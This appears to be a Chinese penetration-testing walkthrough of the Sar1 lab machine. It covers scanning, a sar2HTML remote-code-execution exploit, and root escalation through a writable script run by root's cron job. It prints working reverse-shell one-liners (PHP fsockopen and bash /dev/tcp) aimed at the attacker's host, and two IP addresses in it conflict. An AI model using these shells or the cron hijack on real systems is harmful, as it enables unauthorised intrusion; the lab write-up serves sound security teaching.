渗透测试——靶机Sar1渗透横向详细过程

本次实践中,将首次借助Linux系统的计划任务特性实现提权,我们会利用权限的继承关系,尝试篡改具有root权限的计划任务,进而完成提权目标。

文章目录


靶机介绍

本次给大家带来VirtualBoxSar1靶机的渗透横向过程(Vmware用不了);

上次给大家带来的DC-3靶机,则是首次利用了PHP一句话木马进行渗透操作;

此次实践中,将首次借助Linux系统的计划任务特性实现提权,我们会利用权限的继承关系,尝试篡改具有root权限的计划任务,进而完成提权目标。

将文件下载下来后,导入到VirtualBox:

随后修改一下网络配置,将其设置为VirtualBox Host-only模式:


随后打开靶机,进行我们的渗透操作;


信息收集

本次渗透中,目标主机的IP地址网段为:192.168.56.0/24

  • 本机kaliIP地址:192.168.56.102

经过排查,得出目标主机的IP地址为192.168.56.107

接下来我们使用kali进行更加详细的信息收集:

bash 复制代码
# 简略信息
nmap -sC -sV -v -A -p- 192.168.56.107

# 详细信息
nmap -sC -sV -T4 -A -p- 192.168.56.107

# 探测版本
nmap -O 192.168.56.107

得到的扫描结果如下:

得到信息:只开放了http服务

访问Web页面

那就访问看一下:

发现是一个默认的Apache配置,Ctrl+U查看源代码,也没有发现什么有效信息;

既然如此,我们先对其进行目录扫描:

bash 复制代码
# 使用dirsearch
python dirsearch.py -t 100 -u http://192.168.56.107.101/ --include-status 200,301

得到三个页面:

  • index.html:默认页面
  • phpinfo.php:泄露信息:PHP 版本、服务器系统(OS)、数据库版本、已安装扩展、文件路径、环境变量等,可能被黑客利用寻找漏洞。
  • robots.txt:可能包含敏感目录和文件路径

phpinfo.php 敏感信息

按键盘 Ctrl+F 调出浏览器搜索框,输入对应关键词,直接定位敏感信息:

要查找的信息 搜索关键词
PHP版本 PHP Version
服务器系统(OS) System
数据库版本(MySQL) mysql 或 mysqli
已安装扩展 Configure Command
文件路径 DOCUMENT_ROOT 或 PATH
环境变量 Environment

从phpinfo.php页面中,我们得到了当前用户的特权,目录等信息:

  • PHP Version ------ 7.1.32-1+ubuntu18.04.1+deb.sury.org+1
  • SYSTEM ------ Linux sar 5.0.0-23-generic #24~18.04.1-Ubuntu SMP Mon Jul 29 16:12:28 UTC 2019 x86_64
    DOCUMENT_ROOT ------ /var/www/html

robots.txt泄露信息

我们http://192.168.56.107/robots.txt访问后,得到信息:

sar 负责收集原始监控数据,sar2HTML 负责把这些 "看不懂的文本" 变成 "能直观看到的图表 / 表格",常用于服务器日常监控或性能排查。

根据搜索得到的信息,我们访问 url/sar2HTML页面:

随后去漏洞库搜索,发现了一个可用的RCE:

我们将脚本保存下来,然后执行:

成功得到一个交互式脚本;

思路:可以借助该exploit获得一个反弹shell,本例中使用的获得反弹shell的命令如下,其中192.168.56.107为目前Kali系统的实际IP,这里使用了1234端口作为反弹shell的接收端口。

使用命令:

  • 这里kali的IP地址为:192.168.56.102
  • 执行下述命令时,先开启一个监听
bash 复制代码
# 执行命令
php -r '$sock=fsockopen("192.168.56.102",1234);shell_exec("sh <&3 >&3 2>&3");'

(执行命令若无反弹shell,可将命令url编码后,再执行)

成功反弹一个shell:

渗透操作

上一节获得的反弹shell默认位于/var/www/html/sar2HTML目录下,通过cd...命令跳转到上一层目录,即/var/www/html/,会发现两个特殊的文件:finally.sh和write.sh

分别查看内容:

bash 复制代码
# finally.sh内容
./write.sh

# write.sh内容
touch /tmp/gateway

同时,finally.sh还是拥有root权限的脚本:

www-data对write.sh文件拥有读写和执行权限,这意味着当前的反弹shell可以修改write.sh的文件内容!

(1)所以,我们可以通过修改write.sh的内容(来创建一个定时任务);

(2)然后finally.sh执行(root权限);

(2)此时finally.sh反弹的shell就拥有root权限;成功实现越权;

然后我们将LinxEnum上传到目标主机上,并执行枚举操作:

解压后执行脚本:

然后可以发现在定时任务处,有一个情况:

作用:每隔5分钟,以root权限执行finally.sh脚本;


额外知识:

crontab 的时间格式由五个字段组成,分别表示分钟、小时、日、月、星期几,后面跟要执行的命令:

bash 复制代码
* * * * * command
- - - - -
| | | | |
| | | | ----- 星期几 (0-6, 0 表示周日)
| | | ------- 月份 (1-12)
| | --------- 日期 (1-31)
| ----------- 小时 (0-23)
------------- 分钟 (0-59)

crontab 命令格式的完整语法:

bash 复制代码
# 注释行
* * * * * command >> /path/to/logfile 2>&1

--

利用计划任务进行提权实战

(1)根据之前的分析可知,finally.sh会执行write.sh,而我们又具有write.sh的修改权限 ;

(2)因此只需要篡改 write.sh文件的内容,当以root权限执行的finally.sh调用write.sh时;

(3)这些篡改的命令就会被触发,并从finally.sh处继承root权限

将如下命令写入write.sh并替换其原有的内容;

将上述命令写入write.sh的方法很多,可以通过nc命令,也可以直接通过echo命令,具体如下:

注意:执行脚本前,需在控制端(192.168.56.102)启动 nc 监听端口:nc -lvp 8885,否则无法接收反向 Shell;

bash 复制代码
# 代码一
echo 'bash -i >& /dev/tcp/192.168.56.102/8885 0>&1' > write.sh

# 代码二
echo '#!/bin/bash
bash -i >& /dev/tcp/192.168.56.102/8885 0>&1' > write.sh

完成上述操作后,最多只需等待5分钟,即一个计划任务的执行周期,便可在Kali系统的8885端口获得一个新的来自于该目标主机的反弹shell连接,且其为root权限:

经过不懈的等待,终于反弹了shell:

成功getshell

总结

本次实践中,将首次借助Linux系统的计划任务特性实现提权,我们会利用权限的继承关系,尝试篡改具有root权限的计划任务,进而完成提权目标。

期待下次再见;

相关推荐
测试员周周3 小时前
【Appium 系列】第16节-WebView-H5上下文切换 — 混合应用的自动化难点
运维·开发语言·人工智能·功能测试·appium·自动化·测试用例
测试19983 小时前
软件测试 - 单元测试总结
自动化测试·软件测试·python·测试工具·职场和发展·单元测试·测试用例
曲幽6 小时前
我用了FastApiAdmin后,连夜把踩过的坑都整理出来了
redis·python·postgresql·vue3·fastapi·web·sqlalchemy·admin·fastapiadmin
杜子不疼.6 小时前
【C++ AI 大模型接入 SDK】 - DeepSeek 模型接入(上)
开发语言·c++·chatgpt
加号36 小时前
【C#】 串口通信技术深度解析及实现
开发语言·c#
sycmancia7 小时前
Qt——编辑交互功能的实现
开发语言·qt
石山代码7 小时前
C++ 内存分区 堆区
java·开发语言·c++
前端若水7 小时前
会话管理:创建、切换、删除对话历史
前端·人工智能·python·react.js
无风听海7 小时前
C# 隐式转换深度解析
java·开发语言·c#
涛声依旧-底层原理研究所8 小时前
残差连接与层归一化通俗易懂的详解
人工智能·python·神经网络·transformer